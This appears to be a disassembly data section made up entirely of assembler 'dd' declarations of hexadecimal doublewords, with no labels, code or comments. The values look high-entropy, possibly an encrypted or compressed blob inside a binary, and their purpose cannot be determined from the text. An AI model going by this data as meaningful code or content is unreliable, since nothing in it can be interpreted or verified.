dd 6EDB67EDh, 4A1C5B4Ch, 976C11C2h, 0EC717E45h, 88AD4767h
dd 449576F6h, 1C5DB6B9h, 0E2A34571h, 0CBAA5A90h, 0F6240E06h
dd 9FCD0DEBh, 8D94EDC7h, 0F607C937h, 3332C437h, 40C5EB99h
dd 1020A50Ch, 6585CAA3h, 9B84D761h, 8C99C78Ch, 3984C9Eh
dd 9A6CE160h, 8508D346h, 0BD779D01h, 7BE9D5A1h, 13E32999h
dd 0B52DF7B4h, 0E4DCB87Ah, 9388981Ch, 7DFD3C77h, 0AFDD1A6Ah
dd 0C8113420h, 1DB4FD3Eh, 6B29D6B7h, 9250CD2Ch, 0BA3577Eh
dd 757B64B9h, 89B81945h, 132AB938h, 0FC666282h, 4F17435Ah
dd 0BCB6A62Ah, 999828C0h, 40C86D8Dh, 0EB6FCE29h, 0DCD5A971h
dd 0B04FC5EAh, 75B23862h, 0F7333757h, 70A82A9Bh, 1F2C743Dh
dd 2B8F1CFCh, 266293EFh, 7CF1D1Bh, 31977824h, 0D9E438BFh
dd 6862BF5Bh, 73A45616h, 2A5E927Dh, 3E824210h, 0E4073FAFh
dd 1E530E2h, 0BBFF34C4h, 0C611DE1h, 7A4FF551h, 9AB4C0E6h
dd 0D4382C9Fh, 0A0469EE2h
dd 35DE7B1Dh, 5B054C10h, 0ECAE7D64h, 793EC845h, 0CC06A4BBh
dd 0CF45826Ah, 0F96B7B80h, 9A765B35h, 0D081B428h, 0A8DC8A3Ch
dd 84073B17h, 4B2301Dh, 0DA78DA10h, 3670F47Dh, 4E5CAF6Fh
dd 2C747E30h, 0B0F0DEBAh, 959C4BAEh, 3F201D98h, 2D70EDD8h
dd 123D9253h, 9CB14F6Bh, 0AEE36520h, 0F6E4949Fh, 0AB76D012h
dd 0ADA7AB00h, 0DB13E759h, 3B55BAC3h, 83870B9Ch, 0C7C08168h
dd 0FD3A6838h, 0CC77082Bh, 0DB2F2818h, 6238F782h, 7E65EE21h
dd 71BAAE14h, 0C992E116h, 107F60D5h, 0B6B554B7h, 47CD02B5h
dd 1FCBF707h, 6DEBE08Eh, 509B09B6h, 0FEC5C6DCh, 7D991BE1h
dd 0EE4E85AAh, 0B062E586h, 0D7D408Bh, 782FC115h, 0F2D9ED8h
dd 6401C3E1h, 0CF0E7E52h, 90417F24h, 0C9F1D6C5h, 43810E32h
dd 351AEACBh, 69FE438Ah, 6E1AF80Eh, 1458CE57h, 0E364A00Dh
dd 1D2372A1h, 0C37A5759h, 391301D0h, 0F5071A7Dh, 3085A000h
dd 36A02DC5h, 187CAA41h, 99B065E6h, 3105D9A9h, 0BE8227F3h
dd 1CD86FFEh, 0D2D83B75h, 0A247FE90h, 0E21219DDh, 0CE090EA9h
dd 68030742h, 0DBBA6F3Fh, 4929B816h, 0B2E816DBh, 1775A2F0h
dd 1A8E5FB9h, 90DED7F3h, 0F33DA0C6h, 3F0CF779h, 517384D4h
dd 0F1596E3Bh, 17596658h, 9EAD8887h, 297E819Fh, 6F265A40h
dd 47156838h, 66BC6554h, 0AC1C322Ah, 0B6805B81h, 0C636D861h
dd 377F4D3Ch, 0B446F904h, 2D7FE328h, 46CB90D9h, 0B31C399h
dd 32F2C201h, 70D89D97h, 0AE67E0F7h, 0CCC1DC0Eh, 23E8EC04h
dd 0D12682B3h, 0A8209362h, 58F67E9Eh, 4B574893h, 0D4AC4762h
dd 0B0562DE5h, 0D47CC4D3h, 532B73FAh, 8C312178h, 5FF9A362h
dd 8C83AF7h, 85DBFDAAh, 62D45B99h, 0E4FDB05h, 307EC553h
dd 0ACBBFC62h, 0E903DC9Ch, 0D5BE8B45h, 56B8FAC8h, 3035FF24h
dd 29722028h, 7684967Ch, 0D9EBEB2Dh, 9C1CC53Ch, 55A22145h
dd 9679180Fh, 0E207F800h, 8378E65Bh, 1AC840D7h, 0E68FEBD6h
dd 87007128h, 588197A1h, 0F6779441h, 5963EB67h, 1D4F7D53h
dd 53337681h, 4A7A800Ch, 0C7B2F026h, 82D7107h, 0FD43A89h
dd 163A3189h, 0C36C68CDh, 44AC44F7h, 6DCA363Ah, 3B041B4Dh
dd 846F100h, 0AB222759h, 3DE74494h, 2A46AD7Fh, 0C2010456h
dd 0A9E3810Ch, 36D39774h, 355D6773h, 0CEEE312Eh, 0C514362Ch
dd 898A67EAh, 70B32C06h, 9AF4EBCBh, 56BFD15h, 0E6FEBA8Fh
dd 7BDC5C08h, 73B3CD33h, 0CCF6B56Dh, 4A2A1CA6h, 0D06BC702h
dd 741F892Fh, 0AE02C59Bh, 0C5DCEC25h, 0C2823573h, 0ADD11DC7h
dd 79C7E006h, 22D7CDEAh, 0D705011Fh, 8243C739h, 0E566CAC7h
dd 0F4A3871Bh, 1259FD7Fh, 18326903h, 520A7EC7h, 811156AEh
dd 99857755h, 0A4740B62h, 3C4E6DB3h, 0DF50CF39h, 0AC8881CDh
dd 1E37901h, 31CA9811h, 26FB8DDDh, 5A9C956Ah, 2B316103h
dd 611F95A6h, 0B9D887A7h, 49CABC9Ah, 0E3746CCDh, 14ED6E34h
dd 0DDE85A2h, 3044B8F7h, 0A1CE2AFCh, 0FCD8C5FDh, 0B3F6D857h
dd 68F188EDh, 3A8ABF97h, 0DCCC0406h, 0BFE72D0Eh, 3CE8001Dh
dd 14E7E3D5h, 4C0015EAh, 43321137h, 675ABFFEh, 2698D357h
dd 0C6CA6C6Ch, 74D7EF6Dh, 0C1AC26B2h, 342F3F3h, 0B5A71D91h
dd 0F204C1B9h, 819BE49Ah, 0EEE9C1CEh, 0CD8A690Bh, 0D9E18A99h
dd 12DD8F2Ah, 0B70B45AEh, 0E4CAE469h, 0CC16121Dh, 5CF5DCE6h
dd 964AF1DEh, 59ACD1BAh, 0DCF6E368h, 0ABED60AEh, 8ED07613h
dd 363BA4A0h, 30879367h, 424E959Ch, 7F360061h, 58403C72h
dd 68BA3E3Dh, 0DB637A73h, 0C8477D7Dh, 0C99CBEEFh, 0A4222A33h
dd 57F26AFAh, 9A19E912h, 47E58179h, 0EBB09229h, 815819B3h
dd 5690C06Ch, 1D4C1A92h, 0A66A8CFFh, 0AB6A91CFh, 0F7362C45h
dd 21BB8298h, 0CCD4F10Dh, 83873454h, 0A845B859h, 0D15B8700h
dd 28032454h, 0AA3D552h, 80492E49h, 0EB2923A5h, 95ABA63Ah
dd 0BA0CF646h, 0B7F34F35h, 80F2414Ah, 0CC946C0Eh, 0BADFF0DDh
dd 0C815865Eh, 9DDCC760h, 0FF036F84h, 93A097A1h, 0BD4E2CA6h
dd 2DEEFC61h, 7A16061Eh, 0F70CCEAAh, 90E699E7h, 0B2189BE0h
dd 59D3BCDEh, 4DC573FAh, 0CBF01ABh, 9F958DF0h, 42C0350h
dd 0ED974CBh, 52F8004Ah, 38F3A742h, 91013410h, 2E905CB0h
dd 8E36356Eh, 7218F136h, 2378169Fh, 74F4F838h, 76BA7807h
dd 57907E6h, 0B450182Bh, 0A5555650h, 0FE3AA209h, 0D710F88Bh
dd 6A73A536h, 983296Eh, 9BAF446Ah, 6191FB4Eh, 43E2C03Ah
dd 0C3F05762h, 0C05FD781h, 9064A2AEh, 0D3B43E38h, 34495F23h
dd 887845D6h, 0DB67B3C7h, 0B68FCA4Eh, 0F81C3BBBh, 9BAC48A1h
dd 275D50A7h, 936B816Eh, 0E421ACC7h, 26849989h, 3B298A67h
dd 0BEB9C4A1h, 15AE51FBh, 646C9DDEh, 0C0C546A1h, 2D03D6AFh
dd 35A32BFCh, 4FE20C62h, 937BCC0Fh, 0B3F1180Eh, 0BF9BF0CBh
dd 58C7B0CAh, 2B46CB46h, 6C2BB1B7h, 33ABBFEAh, 107E5A1Fh
dd 9543A894h, 5A428123h, 0A1697056h, 44DD4E2Ah, 0C1CC4AB5h
dd 0FFB6F86Bh, 0F554267Fh, 1AF404Bh, 0B7449C3Bh, 92FB59A2h
dd 59138F6Ch, 47BCD85Dh, 0F6A359D7h, 0A7693C83h, 0DE03ED78h
dd 0EE70659Ah, 88035D5Dh, 0A492E7E7h, 0D72B589Ch, 8D0C1903h
dd 351FFF99h, 0E2716DB9h, 3C273C06h, 0B8306409h, 13C6E42Fh
dd 6A43565Fh, 934AE3E4h, 179046BEh, 0AA30659Ah, 0FE64E115h
dd 21BB3380h, 0F18E23C5h, 59CA176h, 0D5C6BD87h, 667332F9h
dd 2A2B922h, 6AD93D4Fh, 0C6C36BD3h, 6F90A050h, 0A52BAF38h
dd 4DC5FD98h, 473208E5h, 9C6D03E5h, 0EE2FB050h, 575D9F57h
dd 0F9788BA6h, 47AF02C2h, 0F8E4B7B7h, 4EB6CF2Ah, 8DA5517Dh
dd 0BA561CB9h, 0DEF70B95h, 0A8717C0Ch, 0D2A9DCADh, 0C3BF25CBh
dd 4DB5B98Fh, 846A9D94h, 3FE3850h, 0FABBB7FAh, 350DA459h
dd 761AA1Ch, 118060ACh, 2B7BDB76h, 0B655ED42h, 1732C83Ah
dd 730C8BE9h, 6FD2E620h, 7C6A1B45h, 347300FAh, 0B8764DD3h
dd 0DA7AE6DAh, 0E00864B3h, 0E32CAB76h, 831258C4h, 53519CE0h
dd 2F2E91A6h, 5C3FAD28h, 67D91BBFh, 5E3129A3h, 380D8936h
dd 7B429AF6h, 6951103Bh, 80F5080Eh, 12A3B4B1h, 0FEC5DCC9h
dd 2B6197F8h, 698BFCE2h, 91944CBBh, 2377A26Ah, 0FCA55F1Eh
dd 21B7C0D7h, 4699B6AFh, 0A2357BC9h, 1291C7D9h, 0C8FD744h
dd 43BEEAB2h, 0BF2E70B5h, 6B79A70Fh, 46F391B8h, 0AE16C1EAh
dd 1BFB7089h, 0A839B2EAh, 621E49A6h, 58B67B07h, 80C84590h
dd 64E98993h, 63CEEBBEh, 0DADE4AA9h, 88F1B0AFh, 2018DB72h
dd 70CD508Dh, 0CFDB906Dh, 0DD58174Eh, 2D2E7828h, 0D8D2DB76h
dd 0FB631CA6h, 918767F7h, 0DB07BDEBh, 5C58241Dh, 6527C0B8h
dd 0D3294DADh, 0CFFA4C3Ah, 211BD768h, 67F6577Ch, 5AED9633h
dd 0E026D3F4h, 15C44DD3h, 0B80BFBEBh, 3B5CBFEBh, 0F2C97F39h
dd 9FBF6B58h, 1D2B0B83h, 7CE683DAh, 0BE84ED32h, 0C54553D6h
dd 30911597h, 0F64C580Ah, 30972DD5h, 7F883CCDh, 289D2B38h
dd 664746C6h, 9595C16Ah, 4819892Dh, 30674CB2h, 0D02D7321h
dd 0E1C534D3h, 0F82B0D72h, 0B6A3E615h, 39ABF090h, 3F3CAB23h
dd 57092F4Ch, 0D036D5EBh, 76D1FCCFh, 0C14D5641h, 88DDB10Dh
dd 1A3CE040h, 15089FBAh, 3497A3Bh, 0BDD944F4h, 794EDED9h
dd 0AB76EEC0h, 0BBF2C996h, 6473FB49h, 0F738B6A2h, 2A34B85Dh
dd 1A989FBBh, 0D35AF1C2h, 0FFBA5AE8h, 5E36FA48h, 56303AD4h
dd 650052Ah, 55C5B9ABh, 0C21CB749h, 0E28009Eh, 8E472868h
dd 0E637E10Dh, 1F0E1442h
dd 0C9234CF4h, 4159C78h, 6616B0E9h, 762F1ED8h, 2AF517A1h
dd 394D3E14h, 0B4455F79h, 0F11C2ADFh, 0EB1C884Ah, 0D64A88ACh
dd 2A81805Ah, 626DFF9Dh, 0E8A9095Dh, 4A47470Dh, 835192E3h
dd 0ADD62E0Dh, 0D72447A8h, 9C81B159h, 299E7B90h, 0B9A8FC5Bh
dd 21E39D6Ch, 0C28E6CFh, 9A205D17h, 0CC12CE37h, 0EBCFA022h
dd 8B63B2D3h, 0F22DBF2Fh, 923DBCAh, 0B274E6FDh, 9952C02Fh
dd 0CEE12310h, 0BC7D4EE3h, 200C5B3Fh, 0DF7C3A93h, 48DB496Eh
dd 6C9646CEh, 0CA53192h, 0F3D3257Ah, 0B377969Eh, 5B139016h
dd 2ED702CBh, 0B7B3367Dh, 0E305221Fh, 0C01091A4h, 0F32BEE1Fh
dd 3E1C51DAh, 563DA37Dh, 0FBA3C2A7h, 704D7A3Bh, 978EED25h
dd 9C567418h, 60AF64Eh, 17381186h, 9F0E3131h, 0D24CCB8Ah
dd 871A699Bh, 743431DAh, 7D3A1C3Ch, 6F3C0FBEh, 861CE7C8h
dd 81293BF3h, 84512ACAh, 66083E05h, 0D05D8D9Dh, 9375A474h
dd 7B099803h, 53B98104h, 5EBF410Eh, 203B66DCh, 736A0EADh
dd 4C04EE87h, 1D25B8D9h, 94960949h, 31EDAF51h, 0ADAD392Ah
dd 0A13D10CFh, 0E16D3EA3h, 0F4E41E66h, 22F34567h, 0BFBB36E0h
dd 164AE49Ah, 38A0BFE9h, 0F378B5D4h, 90F26393h, 0C7E8296Dh
dd 0AEC76D93h, 0B98B1FF1h, 0DFFC3868h, 8F233391h, 471782ECh
dd 0DDA384CBh, 48F91F13h, 0B7AB498h, 47DC0173h, 0B1F24195h
dd 795FDF8Ah, 0BA8B7869h, 0F207ABB4h, 92B10D0Ah, 0D27D153Bh
dd 0FB079685h, 451E043Eh, 661B6E20h, 7EA42F9Eh, 0DFA14B70h
dd 9597E7DAh, 818D57CAh, 1B1B3FB3h, 358796D7h, 4059240Ch
dd 70C9ADBh, 711E2480h, 8E12AD7Bh, 26F76AEh, 90783829h
dd 0ED4A4BD0h, 0EF219198h, 4FDC3FE2h, 0C44822FAh, 0ECDB21E3h
dd 4A178F2Ch, 671D01BEh, 0B9812640h, 120F1B8Dh, 0E0D8EE3Ch
dd 80E6846Fh, 1A253947h, 80621E25h, 10BE4FC1h, 1BBDAB9Eh
dd 0D34A04A7h, 67A88897h, 935D88FAh, 0AFE6CE76h, 7926676Ah
dd 0C84F4726h, 9C388CA8h, 735E7C9Eh, 5DF0EFE9h, 0C921F288h
dd 0FC8616DCh, 3986DF5Fh, 0B7C5970Fh, 0F69A64F8h, 0C0DDF25Ch
dd 312C7A61h, 0EA321D5Ah, 0EFAB643Fh, 0D5612C4Dh, 0A735CFE1h
dd 0CDAD2A7Ch, 1E0DCFBDh, 8F2AD8A5h, 43DF3601h, 84557C1Ah
dd 75AA3059h, 0A3BC7918h, 6AAFFF7Eh, 58424B5Ch, 35FE363Eh
dd 77506982h, 0D0184136h, 414449B9h, 71697FD7h, 0FEF770F2h
dd 0B5FBB513h, 0BB559FF0h, 0B0424F9Ah, 38EF338Ch, 0BE92E4BEh
dd 0B7AF8D23h, 2D75E973h, 26DC115Ah, 99AD512Eh, 0A259FD99h
dd 17DE1571h, 0C0998DE1h, 573E4A8h, 5A0C08A3h, 4AA42410h
dd 0A55311BEh, 5D1215E9h, 5B319005h, 66612754h, 88B4DABBh
dd 0DC6B1B7Ah, 34DD0469h, 0FB256872h, 6309551Ch, 11251FA4h
dd 119E12D1h, 8DE802A1h, 0B76C5F1Eh, 89154691h, 2BD3055Dh
dd 0BA382A3Fh, 0A50721D4h, 0D770F824h, 0BFCD85D9h, 78883A86h
dd 80146BA3h, 6F9DAD8Ch, 4BC9C981h, 0EBEE62D7h, 0B13395B7h
dd 3E65F349h, 53A1DB57h, 0BB31510h, 5F728B82h, 266E92A8h
dd 9BD1358Eh, 0A1470E23h, 6193A53Ah, 0F248E0A1h, 59ABFA94h
dd 0B5477B2Fh, 2991809Dh, 916519E5h, 3038D366h, 0A54BF1ADh
dd 9BF72D02h, 0D3166E72h, 5E7D402Fh, 96296041h, 0F144CD89h
dd 0E0A62991h, 187388B0h, 491279F5h, 1B42AF06h, 2D17BE11h
dd 0C20BF89Eh, 5092C5C1h, 1B702540h, 6A5A11CDh, 80FCDD96h
dd 0F9DCF3DFh, 0F8315130h, 0D3247AF3h, 9544B182h, 2028332Fh
dd 363BDB55h, 55AD4BFFh, 2D9CC2FFh, 56A1F8A7h, 90E1382Dh
dd 0E3BA915h, 2D9D390Ch, 470FD46Eh, 5BDF7937h, 28C905A7h
dd 94037D04h, 1ED737Dh, 88E015Eh, 1A61DF5Fh, 251788D2h
dd 0B60ACC04h, 4BEAF0B3h, 9048251Dh, 0EE095BEAh, 364B2DAFh
dd 151BFE1Bh, 4B8C1309h, 0C87DF80Fh, 4A22CE52h, 9A1001CEh
dd 0DF1043C1h, 0C06C88A1h, 3B6C424Dh, 82BF6F5h, 942FB280h
dd 0EC5B11C9h, 2C338642h, 1E0A26B8h, 9AF2590Dh, 170641D6h
dd 0D5620A2h, 2863D93Bh, 0F88B9551h, 0D3FA3DACh, 0BEA0F8A5h
dd 0B036ED21h, 0BEE2B1ACh, 7FFBB596h, 9036E6D9h, 95666813h
dd 0ECCC8111h, 967E3F3Fh, 42EECA63h, 85EE9DFAh, 0CC9E34BFh
dd 0F7E6C59Ch, 4980F8D3h, 91EE6C9Dh, 12D856Bh, 0E7660D14h
dd 3B720751h, 53CEF681h, 0A79C297Eh, 0D2EA599Dh, 8CD071Dh
dd 0A089F844h, 0B0F5330Eh, 0F041744Dh, 0AF4E2176h, 70D4AE9h
dd 0E9FCED6Ch, 0A60893DDh, 0E5F8406h, 0F8B9F21Dh, 0C9362FF5h
dd 38A143D8h, 0A259D36Fh, 92C947D0h, 658D3AFDh, 23BEC951h
dd 58827EACh, 84D95746h, 0CDF9A3A2h, 759E27C5h, 0B1FBE82h
dd 0DE05268Eh, 11615DB9h, 0C9626903h, 0B53B574Fh, 0E5308D43h
dd 0BEF9B0DEh, 0E805A4A5h, 77C48568h, 0EEB32BA7h, 0B8B07771h
dd 94EFC085h, 57A5CC2Eh, 7EFE85BCh, 0A56C5419h, 0F4D0EDC1h
dd 5D03BC07h, 16D2F1E7h, 0A6890335h, 0F26A8E6Fh, 5465B190h
dd 6ABDE3C6h, 0E4639DC1h, 0B954008Fh, 570B9BD2h, 97B89232h
dd 95F3D571h, 0D69F6A0Dh, 46CB9E37h, 94E305D4h, 0E7118E86h
dd 7CE8142Bh, 92864E7Eh, 21B6F4Fh, 587620C2h, 3E8B474Fh
dd 0BEAD0567h, 0A42F667Bh, 0DB56BDEBh, 0AD4A3671h, 3B7926D9h
dd 0F61DDFF4h, 0DCFDA65h, 476ED6F5h, 3904D0D6h, 3BA066B6h
dd 7B22DAAh, 0A2C47B35h, 7F91D491h, 357E96A1h, 6F0F14B1h
dd 0EB4DB02Fh, 0EB9D5E01h, 5CB18C45h, 93F612E3h, 0C788D795h
dd 3D935C43h, 435D5962h, 0C453C956h, 72075A43h, 0A7EB920Bh
dd 0BCDB12EFh, 815AB4C7h, 0EC8E4384h, 410CC1D9h, 0D9B48929h
dd 0A8C1A830h, 0E621A13Ch, 2244CEFEh, 897A9686h, 4F734F41h
dd 3ECD5A10h, 6CF0DF4h, 5DA139FCh, 9B00B96Dh, 75AC4D99h
dd 0D787827Dh, 0E50B9A16h, 510B3BE2h, 0C3E71F41h, 1A8CC50Fh
dd 55F0C5D5h, 0D60D95F4h, 5D620507h, 6679DB1Eh, 7FF885C5h
dd 0E893B9C8h, 0D75D62Fh, 96851B77h, 2D0CF6B1h, 96219E23h
dd 5E401F3Fh, 0B36F9465h, 0C9047A44h, 57F43EF7h, 9D6494E4h
dd 51532AABh, 8EC636EDh, 0C2EF019Ch, 2BF06DCBh, 4E50F83Ch
dd 0B88409E8h, 6277E445h, 0D394A896h, 0F6532408h, 0B7A70A69h
dd 6EBD665Bh, 0D025CB69h, 35BD1F5Dh, 0EBA5585Ah, 0D52666FAh
dd 6E1764E5h, 0E3348FC8h, 6B9DF59Ah, 9FD013EEh, 0A440502Ah
dd 999D8E54h, 14CE3AF9h, 0F7050B0Dh, 9A2DD280h, 0B6552CF4h
dd 48595CFEh, 0E0B0790Ch, 42D8B823h, 0F85FB5BFh, 0C642EBE9h
dd 0E54D04D0h, 0F4DAD075h, 7A5BC8Fh, 2AF4EF8Eh, 0E48F2CC2h
dd 0CA677704h, 4E7B72FDh, 0E7BBC982h, 0C26DA157h, 0E816145Eh
dd 1DA56172h, 6D0DC72h, 0FC013D48h, 0DC2E5127h, 6F4C3F5Ch
dd 0F2153B1Fh, 0B2D96A5Fh, 500EBBC7h, 47197372h, 0AF359D7Bh
dd 47153075h, 0E3E14B2Eh, 681A2113h, 0FBAB5A9Fh, 0E81E69A9h
dd 944B06D7h, 0A6C353E7h, 567FB617h, 4EBA5815h, 8A166C4Dh
dd 40F04879h, 0B9D8C6D6h, 0A1893B1Eh, 8C47AC1Fh, 756F74A0h
dd 27BC95E7h, 0E7064B23h, 302DCEC9h, 196FAF52h, 67CCEBE1h
dd 0E5E01B98h, 557ECA80h, 74066C5h, 0CBF05FFEh, 5E909385h
dd 34332D25h, 0B48E2A8Ah, 0A4EB9B9h, 9CC2192Ch, 6F3A53CBh
dd 12CFFEA1h, 1862D8B4h, 302CEB36h, 0FF3BDA7Eh, 0B40102C2h
dd 4002541Eh, 5096903Fh, 7FCF9431h, 5E4D02A8h, 34A6422Fh
dd 5946E465h, 1578F7F7h, 0A773B91Eh, 14A7B00Ah, 8923C003h
dd 0E4DB26EEh, 8C261087h
dd 0E52056F9h, 0CC89D7C5h, 8B97FFFBh, 2A87063Ah, 0C43F40ACh
dd 0DDC2487Eh, 0D64ACB31h, 0BDB89CABh, 0FB2A198Bh, 0F7F3992Ch
dd 779CC85Ch, 0FEFAB7D4h, 1D8702D5h, 65B22173h, 0AEBEC372h
dd 0C2E31096h, 0A2925018h, 91AC77B9h, 8473D2E4h, 0DBDD0845h
dd 21F55AFEh, 866E0538h, 0B072644Eh, 0F84BE167h, 0CB11BBE0h
dd 0B44D05C1h, 0B3B03452h, 93F6C6Dh, 5545D371h, 55B30FFh
dd 8FBE0011h, 0F3327D7Eh, 23E86Dh, 0C33C11E8h, 3DC0D506h
dd 1435C907h, 0A2C4EF97h, 2AFDA2F8h, 9DAA1F7Ah, 0AA9FB902h
dd 63B07A4h, 6CFE7FC8h, 38D2F103h, 0B925D31Ah, 0EC36BE4Dh
dd 3867CBDEh, 32F38206h, 92B5297Ch, 516CAD7Ch, 0E920B5A0h
dd 0C47BFEFFh, 0F12BD5A1h, 345A1E27h, 1A6798F5h, 32F99711h
dd 7FBB0C75h, 0E14EE963h, 88E32DC8h, 8384400h, 0E1E30A73h
dd 27D547E4h, 0D033317Eh, 7FD1C9CCh, 2E745886h, 0A1CBEB97h
dd 0FF965AEFh, 978784F3h, 0BB32412Ah, 1D52F641h, 0E0144BE4h
dd 76910E68h, 3E0701h, 500E00h, 96C387C2h, 0BF51220Fh
dd 7D9A37F4h, 2637A711h, 390A334Fh, 439E61C4h, 0A78D4008h
dd 16D8D6C6h, 0BD1468FBh, 0C8501FCAh, 62FD168Bh, 0EBC2088h
dd 0B6D645B1h, 0A589427h, 0D33EDC8Ah, 745FF7C8h, 0F5B81396h
dd 0C683C794h, 0F66FD646h, 0F58F7547h, 366BDB62h, 0FF58DD70h
dd 338627Bh, 0FC5FB940h, 57838370h, 0C811F90Fh, 0E06F458Eh
dd 3416F377h, 360C191Eh, 92367EC4h, 1765EFB2h, 6D626275h
dd 0E01CDABDh, 0C048BC93h, 217EFDBCh, 0F8800992h, 59C9A76Bh
dd 0E98538F2h, 97701A30h, 0F500B5F6h, 79DB19E0h, 0FF131F97h
dd 0BCB1687Bh, 37B1BD5Dh, 888ED9BDh, 660BE557h, 0D6C5D53Ah
dd 7920F180h, 2751B072h, 1759045Fh, 86B8426Ah, 80DE73F8h
dd 0B9BEB42Ah, 0C74475B7h, 0E6EDBDA3h, 3CCD040Eh, 2D173721h
dd 3EB7C366h, 0CE0E0CF3h, 5395A457h, 41C4B3C2h, 77A39783h
dd 0B884A45h, 21BD2BC6h, 2B44450h, 67C653CEh, 0DB7CA01h
dd 6DE89D47h, 326E586Ch, 4098CF2Eh, 2E7EE910h, 896C4D50h
dd 1EB03B0Dh, 0E0A4EDFh, 56C03FC8h, 1FFD3611h, 1FACA6D0h
dd 63B22C04h, 74E148Bh, 0AFF27BDCh, 485CE8Ah, 4445587Fh
dd 91FC92DCh, 72D1D3A0h, 2452A1FCh, 8BD7ED74h, 449567CBh
dd 9DD21BC1h, 0E38E96D1h, 7D19BFD6h, 0B5CCB6DCh, 0BDFADC64h
dd 0D412743Fh, 2F116FDFh, 974619CEh, 5A13A219h, 5EAEA6D7h
dd 0BFD412A3h, 0E5930FCh, 0FF35CFDBh, 0CD935071h, 0C42DE047h
dd 6DD6BB62h, 0D705398Ah, 4327BE57h, 0BE9E8A32h, 1D80E1A6h
dd 7E7CC8B0h, 0BEDFEA50h, 2AEC0841h, 4C364503h, 0C9984EBCh
dd 9BF34CAFh, 0E4C0DBE3h, 481F6760h, 85B60D90h, 7FB9EAD6h
dd 285C3643h, 0ECE2B156h, 33763915h, 0F94585CFh, 757A7BA3h
dd 0E75F9E30h, 5AFF4251h, 0B0D0F42Dh, 5D75882Ch, 6353762Ah
dd 11DCE3BEh, 0A10A7A8Ah, 38A15A70h, 7F1D8DEh, 9801A849h
dd 0BC2FCCB8h, 0D8480F9Fh, 6521D380h, 79BC6A03h, 5DCAB943h
dd 0AC4D992Ah, 329D57F7h, 0E70E9A25h, 690D8103h, 9BD64314h
dd 0DEE28DE4h, 0AD8DF2Fh, 458F756Dh, 437DB1EAh, 12F81DCEh
dd 0A7D18795h, 14E4FE51h, 0ED74E844h, 5CE69132h, 9F3E7B22h
dd 4A7E82E3h, 567D0C9h, 0BC42987Ch, 0EF60BE03h, 0FF8676DFh
dd 5A682F96h, 0F5D0C8B9h, 0BB111AA1h, 85140232h, 696FDD70h
dd 0ED8FE37Bh, 1B7BDED3h, 25AF4E19h, 0EAC2E055h, 0B957119Ch
dd 0FF18D96Eh, 2F5FEDBEh, 0B07A91D7h, 0DDF15534h, 3072F4DEh
dd 0A1CCD981h, 0F36C188Dh, 2BF1941Ah, 0C83CA811h, 0F42B155h
dd 0BB0C587h, 0B0039F6Eh, 0ED112258h, 0E8739851h, 84AE7406h
dd 5E163D0Bh, 3CFE20B3h, 4DD2A542h, 0E7ED5AE6h, 2668104Ah
dd 25C719D9h, 7BF385FEh, 0B220D827h, 0E34994B9h, 23E12ADh
dd 0C7F8ACB2h, 21576E52h, 0B461AB85h, 0A8C913F4h, 44DC2ADEh
dd 0B9514A58h, 4A550C9Fh, 0B92F02FEh, 0FB1F7BC8h, 0E7A8615Bh
dd 0CA3882B1h, 3209825Ch, 5DB1EA66h, 3D4678B8h, 7834E178h
dd 53F0912Dh, 0A31E4420h, 731F98D9h, 84A8025Ch, 8E140DAh
dd 8CC72A09h, 9D9003E8h, 0AAF8B85Bh, 0DF5410A1h, 0FBD25E93h
dd 179C2B5Fh, 0AA37C813h, 0A26088F9h, 0B79D2012h, 16BB17Eh
dd 111A3736h, 0A3077CF2h, 95BEDAD7h, 0C529083Ah, 2A57726Bh
dd 0A4DE85FEh, 0F67F2C61h, 3ECDB7EBh, 0AB46C54Eh, 0F05FAF9Fh
dd 9B68E56Bh, 0C18A3FD4h, 0C49BAC5Eh, 0A8C3B150h, 4627A02Ah
dd 0C9463B73h, 144DD011h, 0C5FAD43Dh, 0F2B00F3Bh, 0E52A1146h
dd 0A7F3DBD9h, 2087E8A3h, 0BC66590Eh, 0B22C220Bh, 663EA423h
dd 814534B8h, 0C99A4185h, 3467E73Dh, 5BB3CA36h, 0EC2392DCh
dd 7D5EC68h, 0AD4AAFA2h, 70F229C0h, 140AE358h, 5D7FFBE0h
dd 5AA56B43h, 607AC22Ah, 0C7B576D7h, 2A620815h, 0BBB0A1E0h
dd 8033CBA9h, 32D56DFBh, 0B65FC123h, 46607E64h, 16BBFC1Ch
dd 0E427D3EBh, 0D0D33C9Ch, 0C1443C94h, 0EF9715B9h, 88E56A56h
dd 62ACA02Fh, 0D831C0BFh, 0DD9CA02Ah, 1D2FEA11h, 52071BF2h
dd 0BB228895h, 0C66D5689h, 0C9EAFBD0h, 81B82E84h, 0C57515C5h
dd 7D8D05ECh, 72A01009h, 0CBB40820h, 930DA41h, 0EAC802D9h
dd 14D0C323h, 239179E6h, 0F364EBD2h, 0D700D910h, 778DB1A2h
dd 6C919272h, 39BCA39Bh, 528BBA6Fh, 21C3EEB3h, 0AE62A5A7h
dd 7BA72E5Fh, 5DA72D8Ah, 9F1028CCh, 3E72A96Dh, 0DBFC5CE6h
dd 39599A6Fh, 1FF3AA01h, 238E0819h, 73CA1AD9h, 0A93D4A6Fh
dd 14B9EB76h, 20F49945h, 0F7293CD1h, 4E44AF30h, 0C806F9ACh
dd 0DE515667h, 4BE38CECh, 54D7B57Fh, 3016DB9Bh, 26F1BC76h
dd 10DAC21Fh, 0AD02989Ch, 1EFD336Dh, 0DCA2ACD9h, 4B460900h
dd 0E87D1041h, 0BF79B8B4h, 0DA5ABB7Dh, 7066AA96h, 6EEFA923h
dd 0D81C5D43h, 9508BACCh, 19916CEAh, 0EC6674F7h, 674B10A3h
dd 2EC5C2C5h, 0CB69DBC1h, 0AB0402BFh, 2BC2EAE4h, 58304F29h
dd 63E6EF4Ah, 0C9EDD93Ah, 22A51D07h, 0BE57465Ch, 0F8E421DAh
dd 9D1E8FB2h, 7CBE594Eh, 786E15D5h, 79F07C69h, 13B65CE0h
dd 94A67B0Ch, 8D97C8CAh, 0DDB01F3Ch, 99A38C54h, 5D252261h
dd 656FB57Fh, 0BC12FE9Eh, 0FEA61DB1h, 4D0A5145h, 0EE44C51Dh
dd 0BD96384Dh, 92AA59B3h, 479DE394h, 500E3C40h, 0C02CFDA3h
dd 8416A9CFh, 8C9FE037h, 2DA6BC60h, 0B925294Eh, 97A4CB99h
dd 6B7386BEh, 6A5813A4h, 0EFEDA4BDh, 633EB373h, 0DE5CADF5h
dd 0CCDC7567h, 603299B8h, 58CDBBCEh, 85789FD2h, 14401144h
dd 0E8935078h, 336241A7h, 36F7826Ah, 642DB56Eh, 4C00C0ECh
